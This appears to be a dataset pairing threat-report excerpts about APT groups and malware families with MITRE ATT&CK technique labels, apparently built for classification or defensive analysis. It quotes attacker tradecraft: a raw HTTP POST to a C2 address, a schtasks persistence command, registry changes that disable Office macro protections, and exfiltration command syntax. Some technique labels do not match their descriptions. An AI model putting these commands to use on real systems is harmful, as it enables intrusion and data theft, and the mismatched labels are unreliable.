Threat description: During our investigation of one of the compromised servers we found an application that, at first glance, appeared to be a legitimate SSH server called Dropbear SSH
MITRE ATT&CK techniques:
- T1036: Masquerading
- T1021: Remote Services
Threat description: During the exfiltration process, the malware Base64-encodes the encrypted data and sends it to its control server using an HTTP POST request to the URL:  http://ink[dot]inkboom.co.kr/host/img/jpg/post.php  HTTP data/parameters used in the request include:  Content-Type: multipart/form-data; boundary=—-WebKitFormBoundar ywhpFxMBe19cSjFnG <followed by base64 encoded & encrypted system info> User Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; .NET CLR 1.1.4322) Accept-Language: en-us HTTP Version: HTTP/1.0    The malware can also download and execute additional components served to it by the control server
MITRE ATT&CK techniques:
- T1048: Exfiltration Over Alternative Protocol
- T1071: Application Layer Protocol
- T1132: Data Encoding
- T1486: Data Encrypted for Impact
Threat description: During the past few months, APT34 has been able to quickly incorporate exploits for at least two publicly vulnerabilities (CVE-2017-0199 and CVE-2017-11882) to target organizations in the Middle East
MITRE ATT&CK techniques:
- T1203: Exploitation for Client Execution
- T1068: Exploitation for Privilege Escalation
Threat description: Embed "scriptlets" in generated payloads to perform some tasks "offline" without needing network connectivity (ex: start keylogger, add persistence, execute custom python script, check_vm, etc.)   Multiple Target Platforms:      Platform Support Status     Windows XP Supported   Windows 7 Supported   Windows 8 Supported   Windows 10 Supported   Linux Supported   Mac OSX Limited Support   Android Limited Support    Documentation All documentation can be found on the wiki
MITRE ATT&CK techniques:
- T1106: Native API
- T1010: Application Window Discovery
Threat description: Encoding the encryption key  In order for the C&C server to decrypt the encrypted data, the randomly generated AES256 key must be included in the packet along with the encrypted data
MITRE ATT&CK techniques:
- T1573: Encrypted Channel
- T1486: Data Encrypted for Impact
Threat description: Encrypted Configuration in shellcode The configuration information for the malware, including the C2 information are encrypted in the first shellcode blob and are passed as an argument to the DllMain function of the main PlugX DLL
MITRE ATT&CK techniques:
- T1082: System Information Discovery
- T1140: Deobfuscate/Decode Files or Information
- T1027: Obfuscated Files or Information
Threat description: Escalate Privileges APT40 uses a mix of custom and publicly available credential harvesting tools to escalate privileges and dump password hashes
MITRE ATT&CK techniques:
- T1003: OS Credential Dumping
- T1068: Exploitation for Privilege Escalation
Threat description: Examining the use of the unique user agents’ strings over time shows that while previously only the Mozilla/5.0 user agent was in use, since mid 2017 all three user agent strings have been used by the Zebrocy tool for its C2 communications
MITRE ATT&CK techniques:
- T1543.001: Create or Modify System Process - Launch Agent
- T1033: System Owner/User Discovery
Threat description: Exfiltration BRONZE UNION has also leveraged various web shells to collect and stage data for exfiltration
MITRE ATT&CK techniques:
- T1074: Data Staged
- T1132: Data Encoding
- T1505.003: Server Software Component - Web Shell
Threat description: Figure 11: XML configuration file to schedule the task The Zyklon malware first retrieves the external IP address of the infected machine using the following:  api.ipify[.]org ip.anysrc[.]net myexternalip[.]com whatsmyip[.]com  The Zyklon executable contains another encrypted file in its .Net resource section named tor
MITRE ATT&CK techniques:
- T1027: Obfuscated Files or Information
- T1036: Masquerading
Threat description: Figure 12: RSA public key 1    Figure 13: RSA public key 2    Figure 14: AES encryption parameters After encryption, the cipher text to be sent over C2 is Base64 encoded
MITRE ATT&CK techniques:
- T1573: Encrypted Channel
Threat description: Figure 13: Zyklon issuing “settings” command and subsequent server response    Figure 14: Zyklon issuing “sign” command and subsequent server response    Figure 15: Zyklon issuing “ddos” command and subsequent server response Plugin Manager Zyklon downloads number of plugins from its C2 server
MITRE ATT&CK techniques:
- T1016: System Network Configuration Discovery
- T1105: Ingress Tool Transfer
Threat description: Figure 2: Textbox inside DOC The combined script from Word textbox drops the following components: \Users\[user_name]\Intel\58d2a83f7778d5.36783181.vbs \Users\[user_name]\Intel\58d2a83f777942.26535794.ps1 \Users\[user_name]\Intel\58d2a83f777908.23270411.vbs Also, the script creates a named schedule task for persistence to launch “58d2a83f7778d5.36783181.vbs” every 25 minutes
MITRE ATT&CK techniques:
- T1087: Account Discovery
- T1036: Masquerading
- T1204: User Execution
- T1064: Scripting
- T1033: System Owner/User Discovery
Threat description: Figure 26. Communication with the C&C server after the exchange of OS packet info Meanwhile, the runHandle method of the main backdoor loop will call for the requestServer method with the following backdoor commands (each command has one byte long code and is extracted by Packet::getCommand):   Figure 27. The getCommand method The figure below shows the example of two of several possible command codes
MITRE ATT&CK techniques:
- T1008: Fallback Channels
- T1140: Deobfuscate/Decode Files or Information
Threat description: Figure 4: APT32 ActiveMime Lures Create Two Named Scheduled Tasks In this example, a scheduled task named “Windows Scheduled Maintenance” was created to run Casey Smith’s “Squiblydoo” App Whitelisting bypass every 30 minutes
MITRE ATT&CK techniques:
- T1036: Masquerading
- T1053.005: Scheduled Task/Job - Scheduled Task
Threat description: Figure 5: Sample pseudo-HTTP beacon The pseudo-HTTP protocol uses any proxies discovered by the HTTP proxy monitoring thread or added by the adminka command
MITRE ATT&CK techniques:
- T1071: Application Layer Protocol
- T1090: Proxy
Threat description: File Indicators Samples Observed from Spear Phishing Messages Above    Filename Chinas_Arctic_Dream.doc   File Size 6587812 bytes   MD5 598eeb6a18233023f3551097aa49b083   SHA1 e9a46966f93fe15c22636a5033c61c725add8fa5   Notes Malicious RTF document that exploits CVE-2017-8570 and drops QuasarRAT file qrat.exe
MITRE ATT&CK techniques:
- T1036: Masquerading
- T1083: File and Directory Discovery
Threat description: Filename The_Four_Traps_for_China.doc   File Size 4428595 bytes   MD5 7659c41a30976d523bb0fbb8cde49094   SHA1 3f1f3e838a307aff52fbcb5bba5e4c8fe68c30e5   Notes Malicious RTF document that exploits CVE-2017-8570 and drops QuasarRAT file qrat.exe
MITRE ATT&CK techniques:
- T1036: Masquerading
Threat description: FIN7 uses CARBANAK as a post-exploitation tool in later phases of an intrusion to cement their foothold in a network and maintain access, frequently using the video command to monitor users and learn about the victim network, as well as the tunnel command to proxy connections into isolated portions of the victim environment
MITRE ATT&CK techniques:
- T1049: System Network Connections Discovery
- T1090: Proxy
Threat description: Finally, the Trojan creates a scheduled task to run itself every three minutes by running the following command on the command prompt after replacing the %path% string with the path to the srvResesponded.vbs VBScript:SchTasks /Create /SC MINUTE /MO 3 /TN “InetlSecurityAssistManager” /TR “wscript %path%” /f The Trojan uses HTTP to communicate with its C2 server, specifically using the InternetExplorer application object within an embedded Microsoft .NET Framework assembly called Interop.SHDocVw
MITRE ATT&CK techniques:
- T1071: Application Layer Protocol
- T1053.005: Scheduled Task/Job - Scheduled Task
Threat description: First, the macro attempts to enable macros in multiple versions of Word, PowerPoint, Publisher and Excel by setting the following registry keys to the value of 1: HKCU\Software\Microsoft\Office\11.0\Word\Security\VBAWarnings  The macro also attempts to disable protections provided by the Protected View capability within Word, Excel, and PowerPoint by setting the following registry keys to a value of 1: HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableInternetFilesInPV    First Stage Payload The payload installed by the macro is a downloader Trojan written in VB.NET that downloads a secondary payload and decoy document
MITRE ATT&CK techniques:
- T1553.002: Subvert Trust Controls - Code Signing
- T1027.001: Obfuscated Files or Information - Binary Padding
- T1112: Modify Registry
- T1005: Data from Local System
- T1204: User Execution
- T1518.001: Software Discovery - Security Software Discovery
- T1598.002: Phishing for Information - Spearphishing Attachment
- T1203: Exploitation for Client Execution
- T1497: Virtualization/Sandbox Evasion
Threat description: Following these checks, it drops several more malware files signed with the pasted AMD digital signature to a directory it creates
MITRE ATT&CK techniques:
- T1553.002: Subvert Trust Controls - Code Signing
- T1083: File and Directory Discovery
Threat description: For example, From <COMPUTER-NAME> (01-04 11-40-02).txt  All the text files are now packed into the archive temp.zip (%temp%\temp.zip) zip is Base64 encoded (with a custom key, same as that used in the malicious document) and then copied to post.txt txt is uploaded to the control server  Additional Commands and Capabilities The service-based DLL implant traverses to the /htdocs/ directory on the FTP server and looks for any files with the keywords:  TO EVERYONE: Commands issued to all infected endpoints TO <COMPUTERNAME>: Commands issued to endpoints matching the ComputerName  The following commands are supported by the malware implant:  cmd /c pull <filename>: Adds filename to temp.zip, Base64 encodes, and uploads to control server cmd /c chip <string>: Deletes current ipnet.ini config file
MITRE ATT&CK techniques:
- T1059: Command and Scripting Interpreter
- T1560: Archive Collected Data
- T1132: Data Encoding
Threat description: For example, the following string would be included in one of the HTTP parameters sent to the C2 server: eRmaVsr90D-7Ig1ngV3PkdouzP974 In this specific case, the actor made a mistake when configuring this XAgent sample with its C2 locations
MITRE ATT&CK techniques:
- T1071: Application Layer Protocol
- T1008: Fallback Channels
Threat description: For instance, here are the resulting decrypted strings from each of the case statements (dd7e69e1…): Case – String decrypted 1 – 185.25.50[.]93 2 – POST http://185.25.50[.]93/syshelp/kd8812u/protocol.php HTTP/1.1\r\nHost: 185.25.50[.]93\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 3 – porg= 4 – Content-Length: The Trojan uses raw sockets to communicate with its C2 server and uses the decrypted string above to create HTTP requests
MITRE ATT&CK techniques:
- T1071: Application Layer Protocol
- T1008: Fallback Channels
- T1140: Deobfuscate/Decode Files or Information
Threat description: For instance, the following data exists within a resource: fb 70 b0 c9 bd c5 8a d4 0c 54 fd 4c 6d bb f0 0f By multiplying each byte with -1, we obtain the following data: 05 90 50 37 43 3b 76 2c f4 ac 03 b4 93 45 10 f1 After using RC4 and the key 14331d289e737093994395d3fc412afc, the following cleartext data appears: \x00\x00\x00\x00FlashRun.vbs We do not see the payload using this FlashRun.vbs filename, instead it uses a temporary file name to store an embedded VBScript file, such as %Temp%\4.tmp\5.vbs
MITRE ATT&CK techniques:
- T1486: Data Encrypted for Impact
- T1064: Scripting
- T1036: Masquerading
Threat description: From our analysis, stealing keystrokes is the main function of RunningRat; however, the DLL has code for more extensive functionality
MITRE ATT&CK techniques:
- T1056: Input Capture
- T1140: Deobfuscate/Decode Files or Information